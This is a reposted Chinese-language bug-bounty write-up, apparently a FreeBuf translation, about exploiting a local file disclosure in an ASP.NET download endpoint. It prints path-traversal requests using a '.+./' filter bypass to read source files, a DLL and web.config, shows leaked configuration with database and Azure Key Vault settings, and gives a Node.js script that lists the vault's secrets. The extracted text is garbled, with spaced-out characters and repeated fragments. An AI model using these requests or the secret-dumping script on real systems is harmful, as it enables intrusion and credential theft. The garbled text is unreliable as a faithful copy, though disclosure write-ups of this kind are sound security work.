搜索

[13736] 2019-02-06_看我如何通过ASPSecrets读取获得了1.7万美金的漏洞奖励

文档创建者：s7ckTeam
浏览次数：37
最后更新：2025-01-18
2019-02-06_看我如何通过ASPSecrets读取获得了1.7万美金的漏洞奖励 看 我 如 何 通 过 A S P   S e c r e t s 读 取 获 得 了 1 . 7 万 美 金 的 漏 洞 奖 励 A l p h a _ h 4 c k   F r e e B u f   2 0 1 9 - 0 2 - 0 6 A S P . n e t 应 用 程 序 中 最 常 见 的 漏 洞 之 一 就 是 本 地 文 件 披 露 漏 洞 （ 应 用 程 序 中 最 常 见 的 漏 洞 之 一 就 是 本 地 文 件 披 露 漏 洞 （ L F D ） ， 如 果 你 之 前 从 没 接 触 过 这 种 技 术 的 ） ， 如 果 你 之 前 从 没 接 触 过 这 种 技 术 的 话 ， 那 么 利 用 话 ， 那 么 利 用 L F D 对 你 来 说 可 能 就 没 啥 意 义 了 。 在 这 篇 文 章 中 ， 我 将 跟 大 家 介 绍 我 如 何 利 用 对 你 来 说 可 能 就 没 啥 意 义 了 。 在 这 篇 文 章 中 ， 我 将 跟 大 家 介 绍 我 如 何 利 用 L F D 来 渗 透 一 个 应 来 渗 透 一 个 应 用 程 序 ， 并 最 终 拿 到 了 用 程 序 ， 并 最 终 拿 到 了 1 . 7 万 美 金 的 漏 洞 奖 励 。 万 美 金 的 漏 洞 奖 励 。 识 别 漏 洞 识 别 漏 洞 在 我 近 期 进 行 的 一 项 研 究 中 ， 我 找 到 了 下 面 这 个 入 口 ： 加 载 这 个 页 面 时 ， 它 会 从 服 务 器 的 另 一 个 路 径 下 载 一 个 有 用 的 文 档 。 当 时 我 不 认 为 我 可 以 篡 改 这 个 功 能 ， 因 为 它 使 用 了 一 个 加 密 参 数 ， 但 我 一 直 记 得 这 个 事 情 。 如 果 我 能 够 破 解 密 钥 （ 可 能 是 A E S ） ， 并 设 置 该 参 数 ， 那 我 就 可 以 伪 造 参 数 并 利 用 L F D 了 。 令 我 惊 讶 的 是 ， 我 在 该 网 站 的 另 一 个 地 方 也 遇 到 了 相 同 节 点 ： 然 后 我 接 收 到 了 ： 这 里 提 供 的 参 数 是 d o w n l o a d . a s p x ， 但 我 竟 然 可 以 直 接 看 到 d o w n l o a d . a s p x 文 件 的 源 地 址 ： 响 应 如 下 ： h t t p s : / / d o m a i n . c o m / u t i l i t y / d o w n l o a d . a s p x ? f = D J / l c 1 j V g H T Z F . . . h t t p s : / / d o m a i n . c o m / u t i l i t y / d o w n l o a d . a s p x ? f = f i l e 1 2 3 4 . d o c x H T T P / 1 . 1 2 0 0   O K C o n n e c t i o n : c l o s e C o n t e n t - L e n g t h : 2 7 3 6 3 Ï ó | u œ Z ^ t Ù ¢ y Ç ¯ ; ! Y , } { û C ƒ ³ / h > . . . G E T   / u t i l i t y / d o w n l o a d . a s p x ? f = d o w n l o a d . a s p x
能 够 读 取 d o w n l o a d . a s p x ， 意 味 着 我 可 以 读 取 任 何 文 件 ， 而 且 网 站 的 文 件 存 储 路 径 为 f i l e n a m e . a s p x . c s 。 但 是 ， . a s p x . c s 文 件 时 无 法 访 问 的 。 点 击 【 这 里 】 了 解 . a s p x 和 . a s p x . c s 的 区 别 。 绕 过 遍 历 块 绕 过 遍 历 块 除 此 之 外 ， 我 还 发 现 我 无 法 在 结 尾 添 加 两 个 点 号 ( . . ) ， 否 则 收 到 的 响 应 请 求 应 该 是 “ 4 0 0   b a d   r e q u e s t ” 即 请 求 失 败 。 这 里 我 尝 试 了 模 糊 测 试 方 法 来 查 看 它 会 忽 略 或 过 滤 的 字 符 ， 我 使 用 的 请 求 如 下 ： 这 里 我 手 动 枚 举 了 字 符 ， 直 到 我 发 现 . + . / u t i l i t y / d o w n l o a d . a s p x 可 以 返 回 d o w n l o a d . a s p x 的 内 容 。 这 就 非 常 棒 了 ， 因 为 我 可 以 遍 历 目 录 了 。 原 因 是 什 么 我 也 不 清 楚 ， 但 是 我 在 我 自 己 的 A S P . N E T 应 用 中 测 试 了 一 下 ， 结 果 是 无 效 的 ， 所 以 应 该 是 这 里 存 在 有 安 全 漏 洞 。 接 下 来 ， 我 想 尝 试 读 取 一 个 . a s h x 文 件 ， 结 果 竟 然 成 功 了 ！ 这 至 少 证 明 了 ， 我 可 以 直 接 读 取 一 些 敏 感 文 件 了 。 下 一 步 ， 就 是 读 取 更 多 的 源 代 码 。 通 过 发 送 下 列 请 求 ， 我 可 以 直 接 从 源 文 件 中 导 出 D L L 文 件 ： 下 载 该 文 件 之 后 ， 攻 击 者 将 能 够 使 用 d n S p y 来 导 入 D L L ， 然 后 恢 复 应 用 程 序 的 源 码 ： H T T P / 1 . 1 2 0 0   O K C o n n e c t i o n : c l o s e C o n t e n t - L e n g t h : 2 6 3 < % @ P a g e   L a n g u a g e = " C # "   A u t o E v e n t W i r e u p = " t r u e " D e b u g = " t r u e "   % > . . . G E T   / u t i l i t y / d o w n l o a d . a s p x ? f = . [ f u z z ] . / u t i l i t y / d o w n l o a d . a s p x H T T P / 1 . 1 2 0 0   O K C o n n e c t i o n : c l o s e C o n t e n t - L e n g t h : 2 3 9 8 < % @ W e b H a n d l e r   L a n g u a g e = " C # "   C l a s s = " r e d a c t e d . r e d a c t e d "   % > I m p o r t s   S y s t e m I m p o r t s   S y s t e m . D a t a I m p o r t s   S y s t e m . D a t a . S q l C l i e n t I m p o r t s   S y s t e m . I O I m p o r t s   S y s t e m . W e b I m p o r t s   S y s t e m . C o n f i g u r a t i o n . . . G E T   / u t i l i t y / d o w n l o a d . a s p x ? f = . + . / . + . / b i n / r e d a c t e d . d l l
A S P . N E T 应 用 程 序 中 还 有 一 种 w e b . c o n f i g 文 件 ， 这 种 文 件 实 际 上 是 一 个 设 置 页 面 ， 可 帮 助 用 户 设 置 整 个 W e b 服 务 器 中 各 种 独 立 页 面 的 变 量 参 数 。 更 重 要 的 是 ， 这 种 文 件 里 存 储 了 大 量 敏 感 信 息 ， 例 如 S Q L 服 务 器 的 凭 证 以 及 加 密 密 钥 等 等 。 下 面 给 出 的 是 一 份 w e b . c o n f i g 文 件 样 本 ： 为 了 读 取 目 标 站 点 的 w e b . c o n f i g 文 件 ， 我 只 需 要 发 送 下 列 请 求 即 可 ： 返 回 的 响 应 信 息 如 下 ， 其 中 包 含 了 很 多 敏 感 信 息 ： < ? x m l v e r s i o n = " 1 . 0 "   e n c o d i n g = " u t f - 8 " ? > < ! - -     F o r   m o r e   i n f o r m a t i o n   o n   h o w   t o   c o n f i g u r e   y o u r A S P . N E T   a p p l i c a t i o n ,   p l e a s e   v i s i t     h t t p : / / g o . m i c r o s o f t . c o m / f w l i n k / ? L i n k I d = 3 0 1 8 8 0     - - > < c o n f i g u r a t i o n >     < a p p S e t t i n g s >         < a d d   k e y = " w e b p a g e s : V e r s i o n " v a l u e = " 3 . 0 . 0 . 0 "   / >         < a d d   k e y = " w e b p a g e s : E n a b l e d " v a l u e = " f a l s e "   / >         < a d d k e y = " C l i e n t V a l i d a t i o n E n a b l e d "   v a l u e = " t r u e "   / >         < a d d   k e y = " U n o b t r u s i v e J a v a S c r i p t E n a b l e d " v a l u e = " t r u e "   / >         < a d d   k e y = " P o d i o C l i e n t I d " v a l u e = " "   / >         < a d d   k e y = " P o d i o C l i e n t S e c r e t " v a l u e = " "   / >         < a d d   k e y = " A p p I d " v a l u e = " "   / >         < a d d   k e y = " S p a c e I d " v a l u e = " "   / >     < / a p p S e t t i n g s >     < c o n n e c t i o n S t r i n g s >         < r e m o v e   n a m e = " u m b r a c o D b D S N " / >         < a d d n a m e = " P o d i o A s p n e t S a m p l e D b " c o n n e c t i o n S t r i n g = " s e r v e r = W S A 0 7 ; d a t a b a s e = P o d i o A s p n e t S a m p l e D b ; u s e r i d = s a ; p a s s w o r d = p a s s "   p r o v i d e r N a m e = " S y s t e m . D a t a . S q l C l i e n t "   / >     < / c o n n e c t i o n S t r i n g s >     < s y s t e m . w e b >         < c o m p i l a t i o n   d e b u g = " t r u e " t a r g e t F r a m e w o r k = " 4 . 5 "   / >         < h t t p R u n t i m e t a r g e t F r a m e w o r k = " 4 . 5 "   / >     < / s y s t e m . w e b > < / c o n f i g u r a t i o n > G E T   / u t i l i t y / d o w n l o a d . a s p x ? f = . + . / . + . / w e b . c o n f i g
如 果 使 用 得 当 ， 我 们 将 能 够 访 问 A z u r e   K e y   V a u l t 实 例 。 A z u r e   K e y   V a u l t 主 要 用 来 存 储 应 用 程 序 的 机 密 信 息 ， 一 般 都 会 存 储 很 多 有 价 值 的 数 据 。 这 里 给 大 家 提 供 了 一 个 N o d e . j s 脚 本 来 访 问 A z u r e   K e y   V a u l t 实 例 并 从 中 提 取 密 钥 信 息 ： 响 应 数 据 如 下 ： 没 错 ， 就 是 这 么 简 单 。 当 我 发 现 该 问 题 之 后 ， 便 立 刻 将 其 上 报 给 相 关 厂 商 ， 并 拿 到 了 1 万 7 千 美 金 的 漏 洞 奖 励 。 * 参 考 来 源 ： 参 考 来 源 ： s a m c u r r y ， ， F B 小 编 小 编 A l p h a _ h 4 c k 编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M . . . < a d d k e y = " k e y V a u l t D a t a P l a n e U r i "   v a l u e = " r e d a c t e d "   / > < a d d k e y = " u n i q u e K e y V a u l t N a m e U r i "   v a l u e = " r e d a c t e d "   / > < a d d k e y = " k e y V a u l t C l i e n t I d "   v a l u e = " r e d a c t e d "   / > < a d d k e y = " k e y V a u l t C l i e n t S e c r e t I d e n t i f i e r "   v a l u e = " r e d a c t e d "   / > < a d d k e y = " k e y V a u l t C l i e n t T e n a n t N a m e "   v a l u e = " r e d a c t e d "   / > < a d d k e y = " k e y V a u l t A u t h e n t i c a t i o n C o n t e x t U r i "   v a l u e = " r e d a c t e d " / > < a d d k e y = " k e y V a u l t A p i V e r s i o n "   v a l u e = " 2 0 1 6 - 1 0 - 0 1 "   / > . . . v a r   K e y V a u l t   =   r e q u i r e ( ' a z u r e - k e y v a u l t ' ) ; v a r   A u t h e n t i c a t i o n C o n t e x t   =   r e q u i r e ( ' a d a l - n o d e ' ) . A u t h e n t i c a t i o n C o n t e x t ; v a r   c l i e n t I d   =   " c l i e n t I d " ; v a r   c l i e n t S e c r e t   =   " c l i e n t S e c r e t " ; v a r   v a u l t U r i   =   " v a u l t U r i " ; / / A u t h e n t i c a t o r   -   r e t r i e v e s   t h e   a c c e s s   t o k e n v a r   a u t h e n t i c a t o r =   f u n c t i o n   ( c h a l l e n g e ,   c a l l b a c k )   {     / /   C r e a t e   a   n e w   a u t h e n t i c a t i o n   c o n t e x t .     v a r   c o n t e x t   =   n e w A u t h e n t i c a t i o n C o n t e x t ( c h a l l e n g e . a u t h o r i z a t i o n ) ;     / /   U s e   t h e   c o n t e x t   t o   a c q u i r e   a n a u t h e n t i c a t i o n   t o k e n .     r e t u r n   c o n t e x t . a c q u i r e T o k e n W i t h C l i e n t C r e d e n t i a l s ( c h a l l e n g e . r e s o u r c e , c l i e n t I d ,   c l i e n t S e c r e t ,   f u n c t i o n   ( e r r ,   t o k e n R e s p o n s e )   {         i f   ( e r r )   t h r o w   e r r ;         / /   C a l c u l a t e   t h e   v a l u e   t o   b e   s e t   i n   t h e r e q u e s t ' s   A u t h o r i z a t i o n   h e a d e r   a n d   r e s u m e   t h e   c a l l .         v a r   a u t h o r i z a t i o n V a l u e   = t o k e n R e s p o n s e . t o k e n T y p e   +   '   '   +   t o k e n R e s p o n s e . a c c e s s T o k e n ;         c o n s o l e . l o g ( a u t h o r i z a t i o n V a l u e ) ;         r e t u r n   c a l l b a c k ( n u l l ,   a u t h o r i z a t i o n V a l u e ) ;     } ) ; } ; v a r   c r e d e n t i a l s   =   n e w   K e y V a u l t . K e y V a u l t C r e d e n t i a l s ( a u t h e n t i c a t o r ) ; v a r   c l i e n t   =   n e w   K e y V a u l t . K e y V a u l t C l i e n t ( c r e d e n t i a l s ) ; c l i e n t . g e t S e c r e t s ( v a u l t U r i ) . t h e n ( f u n c t i o n ( v a l u e ) {         c o n s o l e . l o g ( v a l u e ) ; } ) ; {   i d :         ' h t t p s : / / r e d a c t e d . v a u l t . a z u r e . n e t / s e c r e t s / f t p _ c r e d e n t i a l s ' ,         a t t r i b u t e s :           {   e n a b l e d :   t r u e ,               c r e a t e d :   2 0 1 8 - 0 1 - 2 3 T 2 2 : 1 4 : 1 8 . 0 0 0 Z ,               u p d a t e d :   2 0 1 8 - 0 1 - 2 3 T 2 2 : 1 4 : 1 8 . 0 0 0 Z ,               r e c o v e r y L e v e l :   ' P u r g e a b l e '   } ,         c o n t e n t T y p e :   ' s e c r e t '   }   ] . . . m o r e   s e c r e t s   . . .
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理